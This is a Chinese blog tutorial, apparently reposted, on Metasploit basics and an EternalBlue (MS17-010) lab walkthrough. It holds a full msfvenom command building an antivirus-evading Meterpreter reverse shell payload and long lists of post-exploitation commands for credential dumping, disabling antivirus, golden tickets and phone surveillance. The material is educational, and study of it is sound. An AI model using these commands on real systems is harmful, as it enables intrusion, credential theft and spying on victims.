msf渗透测试学习-与永恒之蓝漏洞案例

article/2025/8/20 12:29:38

MSF是Metasploit Framework的缩写,是一款广泛使用的渗透测试工具,具有强大的攻击功能。它提供了一个模块化的平台,通过将各种攻击载荷、漏洞利用和辅助工具组装在一起,可用于模拟各种攻击,测试系统安全性,也可以用于执行红队实战训练、漏洞挖掘等工作。

(一)msf的七个模块

msf有七个核心模块,各自的作用:

  1. Payloads (载荷模块):这个模块提供了一系列的攻击载荷,可用于在攻击目标机器成功后执行恶意代码。其中一些载荷允许攻击者获得对操作系统的完全控制权。

  2. Exploits (漏洞利用模块):这个模块包含了大量的漏洞利用,它们利用常见的操作系统漏洞,例如操作系统的缓冲区溢出漏洞、SQL注入漏洞等,并利用这些漏洞来实现针对目标机器攻击。

  3. Auxiliary (辅助模块):这个模块包含了许多辅助工具,用于执行攻击相关的非攻击性任务,比如扫描网络、收集操作系统信息、绕过防御机制等。

  4. Enc (编码器模块):这个模块包含了一些编码/加密工具,用于加密Metasploit的恶意代码,从而绕过某些防御机制,例如杀毒软件的检测。

  5. Nops (空指令模块):这个模块含有空指令的代码,它们可以用于在攻击载荷中添加无操作的代码,以帮助攻击者在攻击时防止因为代码长度不是4的倍数而被截断。

  6. Post (后渗透模块):这个块提供了一些有关渗透后行动的工具,它允许攻击者在成功入侵目标计算机后进行大规模的系统和应用程序扫描、查找敏感数据、执行进一步的攻击等操作。

  7. Shellcodes (Shellcode模块):这个模块包含各种使用进程内存空间完成某些操作的Shellcode,如打开一个bind全一的口监听、执行一个程序等。这个模块的对象和开发shellcode工具类似。

可以在kali的/usr/share/metasploit-framework/modules目录中看到

 想要查看模块里面具体信息,可以通过search +模块名命令进行查看。

例如查看利用漏洞模块Exploits的具体模块:search exploits

可以看到,exploits漏洞利用模块中含有一千九百多个漏洞利用模块。这是非常多的。可以根据里面的不同的模块对对于的漏洞进行操作。

(二)常用命令与参数:

MSF 是一款安全渗透测试框架,其功能包括漏洞扫描、漏洞利用、反向连接和负载生成等。它是一个功能强大的平台,包含数百个模块和载荷,可用于各种不同类型的安全渗透测试任务。在msf下又有许多的工具,常用到的工具如下:

  1. msfconsole:MSF 的命令行控制台,用于启动和控制整个框架。
  2. msfvenom:用于生成和编码各种类型的负载,包括反向连接、Meterpreter 等。
  3. msfdb:MSF 的数据库管理工具,用于存储和管理各种模块、主机、服务和漏洞等信息。
  4. msfcli:一个简单的命令行客户端,用于执行指定的模块和命令。
  5. Armitage:MSF 的图形用户界面 (GUI),通过可视化界面提供了更方便的渗透测试操作和数据分析功能,包括任务追踪、漏洞管理、报告生成等。

1、msfconsole(MSF 的命令行控制台)

  • -h:显示所有可用的参数和选项;

  • -p:指定要使用的端口;

  • -r:指定要执行的脚本文件;

  • -q:启动静默模式,不输出任何提示或信息;

  • -n:禁用颜色和ASCII图形输出;

  • -x:执行指定的命令或脚本,并退出控制台;

  • -L:列出所有可用的模块和插件;

  • -f:指定输出格式,可以是console、json、raw等。

2、msfvenom:(生成和编码各种类型的负载)

  • -p:指定生成负载的类型或程序,如Windows恶意软件、Linux恶意软件、Mac恶意软件等;
  • -f指定输出格式,类型是exe、dll、apk、python、ruby等;
  • -e:指定负载编码,例如Base64、URL、Shikata-ga-nai等;
  • -o:指定输出文件的路径和名称
  • -i:设置生成缓慢速度(产生更好的结果);
  • -b:指定要忽略的字符集,以“/”分隔多个字符集;
  • -a:指定架构(处理器架构)类型,例如x86、x64、arm等;
  • -t:指定存活时间单位为秒;
  • –platform:指定目标操作系统类型,如Windows、Linux、Android、iOS等。

3、Meterpreter:用来实现控制已被攻破目标主机并执行各种操作的功能

Meterpreter可以实现的功能有:

  1. 提供一个交互式Shell:Meterpreter可以通过Metasploit框架的控制台提供一个交互式Shell,使攻击者可以通过命令行与被攻破主机进行交互。

  2. 文件上传与下载:Meterpreter可以直接在受害主机与攻击者之间传递文件,并且可以控制文件的读写和执行权限。

  3. 信息收集与漏洞扫描:Meterpreter可以通过Shell脚本对目标主机进行信息收集和漏洞扫描,包括获取系统信息、端口扫描、Web应用程序扫描等。

  4. 端口转发和代理:Meterpreter可以通过建立端口转发和代理服务,使攻击者可以继续深入到网络内部进行渗透测试。

  5. 应用程序执行和控制:Meterpreter可以通过应用程序加载插件,从而控制应用程序的执行。

基础命令:

  1. help:查看可用的命令列表。

  2. sysinfo:显示目标系统的基本信息。

  3. shell:进入交互式Shell。

  4. cd:改变目录。

  5. pwd:显示当前所在目录。

  6. ls:显示目录内容。

  7. upload:上传文件。

  8. download:下载文件。

  9. portfwd:建立端口转发。

  10. screenshot:获取远程主机的屏幕截图。

  11. getpid:获取当前进程ID。

  12. ps:显示当前运行的进程列表。

  13. migrate:转移当前Meterpreter进程到指定的进程ID中,让攻击者控制器进程更隐蔽。

  14. execute:在目标主机中执行指定的命令和程序。

  15. search:在目标主机上进行文件搜索。

  16. getuid:显示当前用户的权限信息。

(三)、msfconsole漏洞利用

利用之前,需要先确定好目标主机

1、情报收集:发现存活主机

可用于发现主机的模块:

auxiliary/scanner/discovery/arp_sweep         # 基于ARP发现内网存活主机

auxiliary/scanner/discovery/udp_sweep         # 基于UDP发现内网存活主机

auxiliary/scanner/ftp/ftp_version         # 发现FTP服务

auxiliary/scanner/http/http_version         # 发现HTTP服务

auxiliary/scanner/smb/smb_version         # 基于smb发现内网存活主机


此外可以利用search scanner type:auxiliary 查看所有扫描模块

利用 UDP发现内网存活主机:

msf6 > use auxiliary/scanner/discovery/udp_sweep        #使用udp扫描模块
msf6 auxiliary(scanner/discovery/udp_sweep) > options      #查看所有配置

可以看到利用 udp扫描模块扫描存活主机时候,有三个参数需要配置,其中有两个参数已经有默认值了,还有一个参数rhosts还没有值,rhosts参数,就是我们本次要扫描的对象ip,


msf6 auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.23.0/24 
rhosts => 192.168.23.0/24
msf6 auxiliary(scanner/discovery/udp_sweep) > run 

 当设置rhosts 为整个网段的ip时候,发现我们的目标主机,发现是存在的

2 、威胁建模

威胁建模是,扫描通过扫描的信息,发现目标主机开启的服务,根据不同的服务,存在的漏洞大小对比,比较哪一服务的漏洞,比较容易能够较为容易的被我们所利用

利用udp扫描模块:

msf6 auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.23.14
rhosts => 192.168.23.14
msf6 auxiliary(scanner/discovery/udp_sweep) > run
 

通过扫描发现,目标主机开启netbios服务

 利用smb模块扫描,也发现目标主机也开启smb服务,可以看到

3 、漏洞分析

漏洞分析,根据已经确定的服务,对该服务进行漏洞扫描,本次确定是smb服务,所以,我们接下来要对smb服务进行漏洞扫描

通过查询smb,找到的漏洞有:

  1. MS17-010漏洞:该漏洞存在于微软SMBv1协议的实现中,攻击者可以无需身份验证直接发送恶意数据包导致远程代码执行,影响版本包括Windows Vista到Windows Server 2016等所有的Windows版本。

  2. CVE-2018-0802漏洞:该漏洞存在于微软Office中的公式编辑器中,攻击者可以构造恶意Office文档,通过SMB协议传播该文档,从而利用该漏洞进行远程代码执行。

  3. CVE-2020-0796漏洞:该漏洞存在于Windows 10和Windows Server 2016/2019的SMBv3协议中,攻击者可以利用该漏洞执行远程代码,通过运用SMBv3协议中的漏洞粘合攻击,可对整个网络造成威胁。

  4. CVE-2019-0708漏洞:该漏洞存在于Windows Remote Desktop服务的RDP协议中,攻击者可以利用该漏洞进行远程执行代码,从而实现对远程服务器进行非法控制的攻击行为。

我们利用MS17-010漏洞(永恒之蓝),进行查看,查看是否可以利用这个漏洞

1、查询msf与永恒之蓝相关的模块:search ms17_010

 我们查询到有四个模块可以利用,前面两个是exploit(漏洞利用模块),后两个是auxiliary(辅助模块)
2、利用辅助模块进行扫描

 

 扫描之后,发现目标主机可能是存在永恒之蓝的漏洞

4、 漏洞利用

前面,我们通过分析和扫描,发现目标主机是可能存在永恒之蓝漏洞,接下来,我们尝试对该漏洞进行利用,而且我们在前面的时候,漏洞永恒之蓝MS17-010搜索的时候,发现,有永恒之蓝的漏洞利用模块

方式一:利用漏洞利用模块进行漏洞利用

 

 漏洞利用成功

方式二:利用注入木马进行漏洞利用

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe

-a:指定payload的目标架构

-p:指定需要使用的payload(攻击荷载),LHOST是攻击机ip,LPORT是攻击端口

-e:指定需要使用的encoder(编码器)编码免杀

-b:设定规避字符集,比如: '\x00\xff'避免使用的字符

-i:指定payload的编码次数

-f:指定输出格式

5 、后渗透利用

到了这一步,就是干我们要干的事情了(违法的事,不能做,做个好白帽)

下面是一些命令演示

 

针对安卓手机的一些命令:

获取手机通讯录: dump_contacts

获取短信记录:dump_sms

控制实验手机发短信:send_sms -d 15330252525 -t "hello"

获取实验手机GPS定位信息:geolocate

获取实验手机Wi-Fi定位信息:wlan_geolocate

控制实验手机录音:record_mic -d 5

获取实验手机相机设备:webcam_list

控制实验手机拍照 :webcam_snap

直播实验手机摄像头:webcam_stream

针对针对Windows的一些命令

查看进程:ps

查看当前进程号:getpid

查看系统信息:sysinfo

查看目标机是否为虚拟机:run post/windows/gather/checkvm

查看完整网络设置:route

查看当前权限:getuid

自动提权:getsystem

关闭杀毒软件:run post/windows/manage/killav

启动远程桌面协议:run post/windows/manage/enable_rdp

列举当前登录的用户:run post/windows/gather/enum_logged_on_users

查看当前应用程序:run post/windows/gather/enum_applications

抓取目标机的屏幕截图:load espia ; screengrab

获取相机设备:webcam_list

控制拍照 :webcam_snap

直播摄像头:webcam_stream

控制录音:record_mic

查看当前处于目标机的那个目录:pwd

查看当前目录:getlwd

导出当前用户密码哈希 run hashdump

用户名:SID:LM哈希:NTLM哈希:::

也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump

抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin

直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)

首选终端输入 load kiwi 加载kiwi

creds_all:列举所有凭据

creds_kerberos:列举所有kerberos凭据

creds_msv:列举所有msv凭据

creds_ssp:列举所有ssp凭据

creds_tspkg:列举所有tspkg凭据

creds_wdigest:列举所有wdigest凭据

dcsync:通过DCSync检索用户帐户信息

dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID

golden_ticket_create:创建黄金票据

kerberos_ticket_list:列举kerberos票据

kerberos_ticket_purge:清除kerberos票据

kerberos_ticket_use:使用kerberos票据

kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令

lsa_dump_sam:dump出lsa的SAM

lsa_dump_secrets:dump出lsa的密文

password_change:修改密码

wifi_list:列出当前用户的wifi配置文件

wifi_list_shared:列出共享wifi配置文件/编码

文件系统的命令

cat c:\boot.ini        #查看文件内容,文件必须存在

del c:\boot.ini         #删除指定的文件

upload /root/Desktop/netcat.exe c:\         # 上传文件到目标机主上,如upload setup.exe

C:\windows\system32 download nimeia.txt /root/Desktop/         # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\"ProgramFiles"\Tencent\QQ\Users\295**125\Msg2.0.db /root/

edit c:\boot.ini         # 编辑文件

getlwd        #打印本地目录

getwd        #打印工作目录

lcd        #更改本地目录

ls        #列出在当前目录中的文件列表

lpwd        #打印本地目录

pwd        #输出工作目录

cd c:\         #进入目录文件下

rm file         #删除文件

mkdir dier         #在受害者系统上的创建目录

rmdir        #受害者系统上删除目录

dir        #列出目标主机的文件和文件夹信息

mv        #修改目标主机上的文件名 search -d d:\www -f web.config #search 文件,如search -d c:\ -f.doc meterpreter > search -f autoexec.bat #搜索文件 meterpreter > search -f sea.bat c:\xamp\

enumdesktops         #用户登录数

6 、报告阶段

这个阶段主要是对本次渗透进行总结,概述总体上包括 时间、人员、漏洞利用范围、技术手段等等。我们需要在这部分确定漏洞利用执行的时间范围、参与漏洞利用的人员及联系方式、约定的漏洞利用范围和一些漏洞利用过程中采用的技术、工具描述。写清 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 漏洞利用结果 安全建议 等内容


http://chatgpt.dhexx.cn/article/TAjtnNHM.shtml

相关文章

永恒之蓝--Windows7

永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务…

win7永恒之蓝

一 使用msfconsole命令开启MSF,并使用search命令搜索永恒之蓝模块 search ms17-010 二 :使用搜索出来的第三个模块来进行探测目标是否存在永恒之蓝漏洞,并设置好以下参数进行扫描测试 >>>use auxiliary/scanner/smb/smb_ms17_010 …

永恒之蓝从渗透的复现

永恒之蓝又称为勒索病毒,同样这个漏洞成为了黑客现在训练的好方式(记住千万不可以攻击别人的电脑),这个漏洞在win7中十分常见,而永恒之蓝对应的是445端口,所以说我们将用win7虚拟机(受害者&…

永恒之蓝(Eternal Blue)复现

永恒之蓝介绍 什么是永恒之蓝 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝…

kali与永恒之蓝

kali永恒之蓝攻击 写在前面一、永恒之蓝是何方神圣?二、神马是SMB协议?三、MSF四、攻击步骤1、攻击主机与靶机配置2、攻击步骤 五、种植后门 写在前面 这是我的第一篇CSDN博客,最近又参加了一个CTF比赛,当然,纯属兴趣爱…

利用虚拟机复现漏洞 “永恒之蓝”

利用虚拟机复现漏洞“永恒之蓝” 攻击:kali Linux 2020.3 靶机:Windows Server 2008 R2 x64 下面详细讲述测试的过程。 —— —— “ 永恒之蓝 ”简介 利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。于 2017 年在全球的范围内大面积爆发&#…

永恒之蓝简介

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改…

永恒之蓝-永恒之蓝漏洞(linux)

扫描存活主机 fping -a -g 192.168.52.1 192.168.56.254 ,因为kali是192.168.52.134,所以win2003是192.168.52.133 像192.168.52.2或者192.168.52.1这种不用管,一般是网关 开启msfconsole 搜索载荷,永恒之蓝的载荷是ms17_010 …

永恒之蓝漏洞复现

一,永恒之蓝 一、漏洞简介\n1、永恒之蓝介绍:\n永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局&#xff09…

永恒之蓝靶场

声明:本文仅限交流学习使用,请勿使用在任何非法商业活动,禁止用于非法用途。否则后果自负。如有侵权,请告知删除,谢谢! 在虚拟机上搭建win7环境(靶机) 攻击者kali2021版: 模拟永恒之蓝攻击过程的话,需要win7(靶机&…

永恒之蓝复现

目录 1.知识点: 2.前提准备 3.复现 1.知识点: (永恒之蓝适应低版本的电脑没有打ms17_010的补丁,现在win7以上的高版本已经不可以使用) 百度百科:永恒之蓝是指2017年4月14日晚,黑客团体Shadow…

永恒之蓝MS17-010漏洞复现

永恒之蓝漏洞复现 永恒之蓝漏洞简介准备工作命令功能查询靶机IP地址Nmap工具Msf框架相关搜索指令如下设置扫描对象扫描对方是否存在445端口开始攻击 设置攻击载荷设置攻击机及靶机攻击成功简单演示攻击结束 永恒之蓝漏洞简介 本次漏洞复现主要展示如何复现一次永恒之蓝漏洞攻击…

kali之永恒之蓝使用流程(操作全套步骤)

第一步需要kali系统的电脑和win7系统电脑的ip的地址在同一网段,互相之间可以ping通。 第二步关闭win7系统的防火墙。 往往失败就是这两部分的错误。 下边开始进入正题。 打开我们的kali系统,永恒之蓝控制版面开启指令 :msfconsole 小马图…

网络攻防——永恒之蓝

永恒之蓝 1.引言2.永恒之蓝定义3.SMB协议3.windows7版本说明4.攻击实例4.1攻击者和被攻击者展示4.2详细攻击过程4.3接下来尝试攻击一下windows10 5.参考文献 1.引言 让一个不爱学习的人整天蒙英语题,听张宇的视频实在是枯燥了点,于是决定看看网安&#x…

Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)

目录 一、永恒之蓝概述 二、SMB协议 三、准备工作 四、漏洞复现 1、主机发现 2、端口扫描 3、利用模块 五、演示功能 1.获取cmd 2.捕获屏幕 3.上传文件 4.下载文件 5.远程登录 6.上传后门 7.免杀加壳 8.运行wannacry 9.清除日志 六、预防方案 1.打开防火墙 …

ajax提交form表单+跨域

有时候我们需要提交form表单&#xff0c;而又不想影响跳转页面&#xff0c;同时还不影响浏览器的 正常访问&#xff0c;这个时候就用到了ajax提交 首先&#xff0c;要引入js文件 <script type"text/javascript" src"${ctx}/newoa/js/jquery.form.js"…

使用原生javascript实现ajax提交form表单

使用原生javascript实现ajax提交form表单 ============================ 1 准备表单 首先我们需要编写一个html代码,这里我是采用nodejs里面的jade模板引擎来进行生成html代码的。 form(action="/ajaxTest2",method="post",enctype="text/…

Jquery Ajax提交form表单

ajax技术带给我们的是良好的用户体验,同时,使用jquery可以简化开发,提高工作效率。 献上一个简单的例子: 前台代码: index.aspx <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="index.aspx.cs" Inherits="AjaxDemo…

客户端调用服务端异常 —— 远程主机强迫关闭了一个现有的连接**(问题已解决)

客户端调用服务端异常 —— 远程主机强迫关闭了一个现有的连接&#xff08;问题已解决&#xff09; 今天跟大家分享一个日常出现的问题&#xff0c;今天前段调用的时候突然出现了远程主机强迫关闭了一个现有的连接的问题&#xff0c;先看问题图。 然后开始排查原因&#xff0…

频繁发送socket命令返回:[WinError 10054] 远程主机强迫关闭了一个现有的连接

第一类 错误原因&#xff1a;发送http请求太过频繁&#xff0c;引起远程主机的怀疑&#xff0c;被网站怀疑是恶意攻击行为。 解决方法&#xff1a; 在发送命令之后关闭连接&#xff0c;防止被认为恶意连接设置socket默认等待时间 设置读取信息的最大时间限制&#xff0c;如果…